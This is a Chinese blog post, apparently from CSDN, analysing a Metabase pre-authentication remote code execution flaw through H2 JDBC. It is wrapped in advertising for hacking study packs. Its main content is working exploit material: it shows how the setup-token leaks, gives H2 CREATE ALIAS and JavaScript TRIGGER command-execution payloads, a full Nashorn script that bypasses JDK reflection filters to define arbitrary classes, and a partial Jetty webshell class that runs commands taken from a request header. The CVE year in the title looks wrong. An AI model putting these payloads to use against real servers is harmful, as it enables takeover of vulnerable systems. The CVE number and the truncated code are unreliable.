漏洞分析｜Metabase 代码执行漏洞（CVE-2024-38646）：H2 JDBC 深入利用

最新推荐文章于 2024-05-06 14:04:11 发布
最新推荐文章于 2024-05-06 14:04:11 发布
阅读量406 收藏 4
点赞数 3
分类专栏： 2024年程序员学习 文章标签： 数据库 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/AUZKAY/article/details/137830868
版权

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）
img

正文

从整体的逻辑来看，该漏洞可通过 setup、database 两种方式来完成对漏洞验证，不同的是 setup 方式在安装时是不需要权限的，database 需要管理员权限。

setup 在安装时会校验 setup-token 参数是否正确，来判断是否要进行下步的数据库连接。

pCz4iDA.png

而 setup-token 在进行生成的时候被默认设置为了 public 权限，所以可以通过 /api/session/properties 来读取。

pCz4FHI.pngpCz49jH.png

0x04 深入利用

在漏洞分析章节中说明，我们可以通过 setup + setup-token 来完整的漏洞利用。在利用时主要依靠于数据库的类型，目前 Metabase 支持多种数据库，本次我们重点说明 H2 数据库的深入利用，目前最为常用利用方式是 RUNSCRIPT 、TRIGGER 来完成对漏洞的利用。

H2 数据库在数据库时拥有函数 init 参数，该参数可以执行任意一条 SQL 语句，所以在整体围绕利用中主要通过一条 SQL 语句变换成完美的漏洞利用链条。

pCz4uvQ.png

4.1 RUNSCRIPT

RUNSCRIPT FROM 可以使用 HTTP 协议执行远程的 SQL 语句，那么在利用的时候我们即可构造恶意的 SQL 语句来完成对漏洞利用。

在执行 SQL 语句时 CREATE ALIAS 来会将内容值进行 javac 编译之后然后进行运行。

pCz4m8S.png

DROP ALIAS IF EXISTS sehll;CREATE ALIAS sehll AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "hello";}';CALL sehll ('touch /tmp/123')

pCz4EUP.png

需要注意的是默认官方发布的 Docker 镜像中没用 javc 命令，所以 CREATE ALIAS 无法能够正常使用。

pCz4V4f.png

但是该方式需要依赖 HTTP 服务，通常禁止向外部网络建立HTTP协议请求，所以这种方式在真实的攻击中发挥的作用就会小很多。

4.2 TRIGGER

H2 在解析 init 参数时对 CREATE TRIGGER 会由 loadFromSource 做特殊处理，根据执行内容的开头来判断是否为需要通过 javascript 引擎执行。如果以 //javascript 开头就会通过 javascript 引擎进行编译然后进行执行。

pCz4eC8.png

我们就可以通过 javascript 引擎来实现代码执行，不过该方式在 JDK 15 之后移除了默认的解析，但是有意思的是 Metabase 在项目中使用到了 js 引擎技术。

pCz4ngg.png

最后我们即可构建 javascript 引擎来构建代码执行，如：

java.lang.Runtime.getRuntime().exec('touch /tmp/999')

pCz4Muj.png

4.3 Define Class

通过 TIGGER 我们可以进行执行 javascript 引擎的任意代码执行，所以为了能够更加入的利用非常有必要进行自定义 Class 加载以及执行。由于最新版的 Metabase 对 JDK 运行产生了限制必须要求为 JDK >= 11，所以就必须要解决 JDK9 modules、JDK 11 ReflectionFilter 的问题。

针对类似问题，我们对 javascript 脚本进行了高度的兼容以及高版本 JDK 的 Bypass 操作，核心代码如下：

try {
  load("nashorn:mozilla\_compat.js");
} catch (e) {}
function getUnsafe(){
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true); 
  return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
  var unsafe = getUnsafe();
  var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
  var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
  unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
  var reflectionClass;
  try {
    reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
  } catch (error) {
    reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
  }
  var unsafe = getUnsafe();
  var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
  var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
  var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
  var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
  if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
  var clz = null;
  var version = java.lang.System.getProperty("java.version");
  var unsafe = getUnsafe();
  var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
  try{
    if (version.split(".")[0] >= 11) {
      bypassReflectionFilter();
    defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
    setAccessible(defineClassMethod);
    // 绕过 setAccessible 
    clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
    }else{
      var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
      clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
    }
  }catch(error){
    error.printStackTrace();
  }finally{
    return clz;
  }
}
defineClass();
4.4 漏洞回显

在漏洞回显时，我们就可以借助 DefineClass 来执行完成对漏洞的回显利用，但是目前最新版本的 Metabase 使用 Jetty11，所以需要针对该版本做回显适配，核心代码如下：

import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/\*\*
 \* Jetty CMD 回显马
 \* @author R4v3zn woo0nise@gmail.com
 \* @version 1.0.1
 \*/
public class JE2 {

    public JE2(){
        try{
            invoke();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void invoke()throws Exception{
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[]) f.get(group);
        thread : for (Thread thread: threads) {
            try{
                Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
                threadLocalsField.setAccessible(true);
                Object threadLocals = threadLocalsField.get(thread);
                if (threadLocals == null){
                    continue;
                }
                Field tableField = threadLocals.getClass().getDeclaredField("table");
                tableField.setAccessible(true);
                Object tableValue = tableField.get(threadLocals);
                if (tableValue == null){
                    continue;
                }
                Object[] tables =  (Object[])tableValue;
                for (Object table:tables) {
                    if (table == null){
                        continue;
                    }
                    Field valueField = table.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(table);
                    if (value == null){
                        continue;
                    }
                    System.out.println(value.getClass().getName());
                    if(value.getClass().getName().endsWith("AsyncHttpConnection")){
                        Method method = value.getClass().getMethod("getRequest", null);
                        value = method.invoke(value, null);
                        method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                        String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                        String result = "\n"+exec(cmd);
                        method = value.getClass().getMethod("getPrintWriter", new Class[]{String.class});
                        java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, new Object[]{"utf-8"});
                        printWriter.println(result);
                        printWriter.flush();
                        break thread;
                    }else if(value.getClass().getName().endsWith("HttpConnection")){
                        Method method = value.getClass().getDeclaredMethod("getHttpChannel", null);
                        Object httpChannel = method.invoke(value, null);
                        method = httpChannel.getClass().getMethod("getRequest", null);


### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供：


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限，仅展示部分资料


网络安全面试题


![](https://img-blog.csdnimg.cn/img_convert/80674985176a4889f7bb130756893764.png)


绿盟护网行动


![](https://img-blog.csdnimg.cn/img_convert/9f3395407120bb0e1b5bf17bb6b6c743.png)


还有大家最喜欢的黑客技术


![](https://img-blog.csdnimg.cn/img_convert/5912337446dee53639406fead3d3f03c.jpeg)


**网络安全源码合集+工具包**


![](https://img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)


![](https://img-blog.csdnimg.cn/img_convert/4a5f4281817dc4613353c120c9543810.png)

**所有资料共282G**，朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
![img](https://img-blog.csdnimg.cn/img_convert/dab6ae9823b654fd494b2a1ce2cef85d.png)

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

络安全入门+黑客进阶学习资源包》，可以扫描下方二维码领取（如遇扫码问题，可以在评论区留言领取哦）~




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）**
[外链图片转存中...(img-LJqr3aca-1713256819149)]

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
蛋黄酥呀
关注
  • 3
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Metabase可视化BI系统部署安装及简单使用
kanlon的博客
05-24 3378
简单介绍metabase的安装部署及简单使用
Metabase 安装和使用教程
最新发布
云原生实验室
05-17 2087
本文全面介绍了开源数据分析平台 Metabase，从功能特性到应用场景，从安装部署到使用操作，深入探讨了 Metabase 在企业数据分析中的方方面面。Metabase 凭借其灵活的部署方式、强大的数据连接能力、直观的可视化查询界面、精美的仪表盘展示以及细粒度的权限管控等特性，可以帮助企业快速搭建起一套自助式的数据分析平台。无论是管理层、业务人员、运营专家还是数据分析师，都能在 Metabase 中找到适合自己的数据分析方式。
Metabase 使用指南
FesonX的博客
06-26 5268
一. 为什么从 ELK 迁移到 Metabase + OLAP 1.1 ELK 的问题 扩展性不强：Kibana 只能应用在 ElasticSearch 上 管理不便：在阿里云等平台，一个 ElasticSearch 集群对应一个 Kibana，难以统一管理 开发成本：无法将图表嵌入到其他应用中，需要二次开发图形展示 性能一般：ElasticSearch 擅长全文搜索，在数据分...
metabase详细使用教程
热门推荐
m0_51218434的博客
01-08 2万+
Metabase 使用目录1. 简介及安装使用1.1. metabase简介1.2. 安装步骤2. Getting started2.1.2.2.3. Troubleshooting and getting help3.1.3.2.3.3. 1. 简介及安装使用 1.1. metabase简介 metabase主要功能创建数据集、在线可视化分析、生成分析图表、构造dashboard、定时任务报表、数据分析模型、订阅发布、分享、安全验证、权限管理、任务管理等等优势。 官网学习地址：metabase参考文档
Metabase学习教程：入门-1
saprrows的博客
11-08 2004
您可以通过筛选和汇总查询的结果，将这些探索保存为新查询，并将查询添加到仪表板但是我们已经超越了自己；Metabase查询以及该查询结果以及这些结果的可视化和格式化（即使该可视化只是一个表格). 查询有标题、ID和唯一的URL，您可以复制并与他人共享。在过滤器，我们点击添加过滤器以缩小答案范围按钮，我们将选择小计作为柱在下拉菜单中，将“等于”更改为“大于”，在输入字段中输入40，然后单击添加筛选器.如果我们想以表格的形式检查结果，可以单击页面底部中心的小开关，从图表切换到数据表，然后再切换回来。
Metabase介绍
shine
08-13 1万+
介绍 metabase是一款半开源的BI分析工具，开发语言clojure+js为主。 官网：https://www.metabase.com/可以利用Metabase进行数据分析，数据可视化，报表生成等。 安装 下载metabase，用jvm运行 初始化 创建用户、新增数据库略。。 支持的输入数据库 metabase主要功能创建数据集、在线可视化分析、生成分析图表、构造d...
metabase-google-sheets-add-on:将配置数据库问题直接导入到Google表格中
04-29
importQuestion ：使用其问题ID号（您可以在问题URL的末尾找到）从Metabase导入单个问题到当前的Google表格标签中 importAllQuestions ：使用以下名称约定导入Google表格中的所有问题： (metabase/123) ->导入问题...
Python库 | metabase_api-0.2.6-py3-none-any.whl
03-22
总之，`metabase_api`库为Python开发者提供了一种高效的方式来利用Metabase的强大功能，无论是数据探索、报表构建还是与其他系统的集成，都极大地提升了数据分析的效率。通过深入理解和熟练使用这个库，开发人员能够...
metabase-compose：使用compose运行Metabase的dockerized解决方案
02-05
"metabase-compose"提供了一种简便的方式，利用Docker Compose在本地或生产环境中快速部署和管理Metabase实例。结合MySQL或PostgreSQL，Metabase能够处理各种类型的数据，并通过直观的界面提供强大的BI和数据分析...
metabase-athena-driver：适用于Metabase 0.32及更高版本的Amazon Athena驱动程序
01-30
【Metabase与Amazon Athena驱动程序】 Metabase是一款开源的...综上所述，`metabase-athena-driver`让Metabase用户能够充分利用AWS Athena的强大查询能力，同时保持Metabase的易用性，是大数据分析和查询的理想组合。
metabase-clickhouse-driver:用于Metabase商业智能前端的ClickHouse数据库驱动程序
05-03
元数据库-clickhouse-驱动程序（ ）商业智能前端的 （ ）数据库驱动程序安装下载Metabase Jar and Run 从“下载最新的元数据库二进制发行版（jar文件）。 从该存储库的“发布”页面下载ClickHouse驱动程序jar 创建一...
Metabase学习教程：系统管理-6
weixin_38030820的博客
12-05 1004
Metabase的弹性部署
metabase部署与实践
m0_60125201的博客
05-06 2301
本博客简要介绍了metabase这个BI工具，使用两种方法来部署metabase，并简单介绍了metabase的使用。
漏洞分析｜Metabase 代码执行漏洞（CVE-2023-38646）：H2 JDBC 深入利用
m0_46699477的博客
07-28 1878
利用 TRIGGER + DefineClass 完整的实现了 JAVA 代码执行和漏洞回显。
【开源分享】一系列的开源BI推荐
技术分享
02-07 4510
Superset是一个开源的、现代的、轻量级BI系统，能够对接Druid、Kylin、ClickHouse、MySQL、Presto等多种数据源，拥有丰富的图表展示形式、支持自定义仪表盘，且拥有友好的用户界面，十分易用。现在市场上开源 BI 产品比较多，各个产品的侧重点不同，有的以报表为主、有的以可视化为主、有的以查询分析为主。GoView的核心优势 丰富的组件库：GoView提供了丰富的数据可视化组件，如折线图、柱状图、饼图、散点图等，这些组件不仅支持高度自定义，还具备良好的交互性和响应性。
【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)
做自己喜欢的事，并将其发挥到极致！
08-03 4638
Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松地连接到各种数据源，包括数据库、云服务和API，然后使用直观的界面进行数据查询、分析和可视化。Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞，该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令。
简单易懂的Metabase入门指南
weixin_45945976的博客
04-08 821
简单易懂的Metabase入门指南
2024年网络安全山东省赛-SMB信息收集解析（中职组）_使用访问工具对服务器服务访问,将服务器中管理员桌面的文本文档里的内容作为 flag
2401_84252281的博客
04-26 765
任务环境说明：服务器场景：Server1。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值